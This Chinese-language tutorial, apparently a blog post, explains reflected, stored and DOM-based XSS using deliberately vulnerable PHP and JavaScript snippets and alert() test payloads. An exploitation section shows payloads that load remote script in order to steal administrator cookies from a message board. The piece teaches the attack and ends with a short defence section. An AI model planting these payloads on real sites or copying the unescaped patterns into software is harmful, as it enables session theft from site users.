xss 簡(jiǎn)介
xss 跨站腳本攻擊(Cross Site Scripting),為了不和層疊樣式表(Cascading Style Sheets,CSS)縮寫混淆,所以將跨站腳本攻擊縮寫為xss。
xss是什么
xss就是攻擊者在web頁(yè)面插入惡意的Script代碼,當(dāng)用戶瀏覽該頁(yè)之時(shí),嵌入其中web里面的Script代碼會(huì)被執(zhí)行,從而達(dá)到惡意攻擊用戶的特殊目的。
xss的類型
xss類型一般分為三種:
第一種:反射型XSS
反射型XSS只是簡(jiǎn)單的把用戶輸入的數(shù)據(jù)“反射”給瀏覽器.也就是說需要誘使用戶“點(diǎn)擊”一個(gè)惡意鏈接,才能攻擊成功。反射型XSS也叫作“非持久型XSS”
第二種:儲(chǔ)存型XSS
儲(chǔ)存型XSS會(huì)把用戶輸入的數(shù)據(jù)“儲(chǔ)存”在服務(wù)器端。這種XSS具有很強(qiáng)的穩(wěn)定性
第三種:DOM Based XSS
實(shí)際上,這種類型的XSS并非按照“數(shù)據(jù)是否保存在服務(wù)器端”來劃分的,從效果上來說也是反射型XSS單獨(dú)劃分出來的,因?yàn)镈OM Based XSS 的形成原因比較特別。這是由于客戶端腳本自身解析不正確導(dǎo)致的安全問題。
XSS的攻擊原理
反射型XSS的攻擊原理
反射型XSS,是最常用的,使用最廣的一種方式。通過給別人發(fā)送有惡意腳本代碼參數(shù)的URL,當(dāng)URL地址被打開時(shí),特有的惡意代碼參數(shù)唄HTML解析、執(zhí)行。
它的特點(diǎn):是非持久化,必須用戶點(diǎn)擊帶有特定參數(shù)的鏈接才能引起。
例子:
假設(shè)一個(gè)頁(yè)面把用戶輸入的參數(shù)直接輸出到頁(yè)面上:
<?php
$input = $_GET["param"];
echo "<div>".$input."</div>"
?>
正常情況下,用戶想param提交數(shù)據(jù)會(huì)展示到頁(yè)面中,比如:
http://127.0.0.1/xss.php?param=This is a test!
會(huì)得到如下結(jié)果:
在查看頁(yè)面源代碼,可以看到:
<div>/This is a xss test!</div>
但是如果提交一段HTML代碼:
http://127.0.0.1/xss.php?param=<script>alert(/This is a xss test!/)</script>
會(huì)發(fā)現(xiàn),alert(/This is a xss test!/)在當(dāng)前頁(yè)面執(zhí)行了:
再查看源代碼:
<div><script>alert(/This is a xss test!/)</script></div>
用戶輸入的的Script,腳本已經(jīng)被寫入頁(yè)面中,這并不是開發(fā)者所希望看到的。這就是反射型XSS攻擊的原理
儲(chǔ)存型XSS的攻擊原理
存儲(chǔ)型的攻擊腳本被存儲(chǔ)到了數(shù)據(jù)庫(kù)或者文件中,服務(wù)端在讀取了存儲(chǔ)的內(nèi)容回顯了。就是存儲(chǔ)型。這種情況下用戶直接打開正常的頁(yè)面就會(huì)看到被注入
流程如下:
壞人把惡意的XSS代碼提交網(wǎng)站--->網(wǎng)站把XSS代碼存儲(chǔ)進(jìn)數(shù)據(jù)庫(kù)--->當(dāng)頁(yè)面再次被其他正常用戶請(qǐng)求時(shí),服務(wù)器發(fā)送已經(jīng)被植入XSS代碼的數(shù)據(jù)給客戶端--->客戶端執(zhí)行XSS代碼
例子:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>留言板</title>
</head>
<body>
<center>
<h6>我的留言板</h6>
<form action="" method="get">
<h6>請(qǐng)輸入留言內(nèi)容</h6>
<input type="text" name="xss_input_value" placeholder="輸入留言內(nèi)容"><br>
<input type="submit" >
</form>
<hr>
<h6>這里假設(shè)我們是正常用戶來查看留言這個(gè)界面</h6>
<?php
if(isset($_GET['xss_input_value'])){
$xss = $_GET['xss_input_value'];
if(isset($xss)){
echo '<input type="text" value="'.$xss.'">';
}else{
echo '<input type="type" vplaceholder="輸出留言內(nèi)容">';
}
}else{
echo '<input type="type" placeholder="輸出留言內(nèi)容">';
}
?>
</center>
</body>
</html>
這里我們假設(shè)第一個(gè)輸入框的數(shù)據(jù)存入了數(shù)據(jù)庫(kù),而輸出框從數(shù)據(jù)庫(kù)中讀取輸入的數(shù)據(jù)。
此時(shí)在輸入框插入惡意的代碼
"><script>alert(/This is a xss test!/)</script>
(">是用來閉合input標(biāo)簽)
當(dāng)正常用戶想要來查看留言板的內(nèi)容時(shí)這條惡意代碼就會(huì)被瀏覽器加載并執(zhí)行
DMO Based XSS的攻擊原理
DOM-based XSS漏洞是基于文檔對(duì)象模型Document Objeet Model 的一種漏洞。DOM是一個(gè)與平臺(tái)、編程語(yǔ)言無關(guān)的借口,它允許程序或腳本動(dòng)態(tài)的訪問或者更新文檔內(nèi)容、結(jié)構(gòu)和樣式,處理后的結(jié)果能夠成為顯示頁(yè)面的一部分。DOM中有很多對(duì)象,其中一些事用戶可以操作的.客戶端的腳本程序可以通過DOM動(dòng)態(tài)地檢查和修改頁(yè)面內(nèi)容,它不依賴于提交數(shù)據(jù)到服務(wù)器端,而從客戶端獲得DOM中的數(shù)據(jù)在本地執(zhí)行,如果DOM中的數(shù)據(jù)沒有經(jīng)過嚴(yán)格的確認(rèn),就會(huì)產(chǎn)生DOM-based XSS漏洞。
看如下代碼:
<script>
function test(){
var str = document.getElementById("text").value;
document.getElementById("t").innerHTML = "<a href='"+str+"'>testLink</a>";
}
</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />
點(diǎn)擊“write”按鈕后,會(huì)在當(dāng)前頁(yè)面插入一個(gè)超鏈接,其地址為文本框的內(nèi)容:
在這里,"write"按鈕的onclick事件調(diào)用了test()函數(shù)。而在test()函數(shù)中,修改了頁(yè)面DOM節(jié)點(diǎn),通過innerHTML把一段用戶數(shù)據(jù)當(dāng)做HTML寫入頁(yè)面中,這就造成了DOM based XSS.
構(gòu)造如下數(shù)據(jù):
' onclick=alert(/xss/) //
輸入之后,頁(yè)面代碼變成了:
<a href='' onclick=alert(/xss/) //' >testLink</a>
首先一個(gè)單引號(hào)閉合掉href的第一個(gè)單引號(hào),然后插入一個(gè)onclick事件,最后在用注釋符"http://"注釋掉第二個(gè)單引號(hào)。
點(diǎn)擊這個(gè)新生成的鏈接,腳本將會(huì)執(zhí)行,如下圖所示:
XSS的利用
說了一大堆,大家以為 XSS就是彈窗,其實(shí)錯(cuò)了,彈窗只是測(cè)試XSS的存在性和使用性。
這時(shí)我們要插入JS代碼了。
可以這樣
<script scr="js_url"></script>
或者這樣
<img src=x onerror=appendChild(creatElement('script')).src='js_url'>
各種姿勢(shì),各種插,只要能夠運(yùn)行我們的js就可以,js可以干很多事,可以獲取cookies、控制用戶的動(dòng)作燈等。
比如我們?cè)诰W(wǎng)站的留言區(qū)輸入下面的代碼:
<script scr="js_url"></script>
當(dāng)管理員進(jìn)入后臺(tái)瀏覽留言的時(shí)候,就會(huì)觸發(fā),然后管理員的cookies和后臺(tái)地址還有管理員瀏覽器版本等等都可以獲取到。
xss的防御
現(xiàn)在的XSS如此流行,原因何在。我想大家應(yīng)該都知道,就是在輸入的時(shí)候沒有做嚴(yán)格的過濾,而在輸出的時(shí)候,也沒有進(jìn)行檢查,轉(zhuǎn)義,替換等
所以防范的方法就是,不信任任何用戶的輸入,對(duì)每個(gè)用戶的輸入都做嚴(yán)格檢查,過濾,在輸出的時(shí)候,對(duì)某些特殊字符進(jìn)行轉(zhuǎn)義,替換等
Bypass xss過濾
大部分情況下網(wǎng)站都對(duì)用戶輸入的數(shù)據(jù)進(jìn)行了過濾,大家可以參考以下文章:
<a src="http://drops.wooyun.org/tips/845">http://drops.wooyun.org/tips/845</a>
心得:由于自己js代碼基礎(chǔ)為0,并不能給大家?guī)矸浅I願(yuàn)W的東西。如果有錯(cuò)誤希望大家在下邊評(píng)論指出。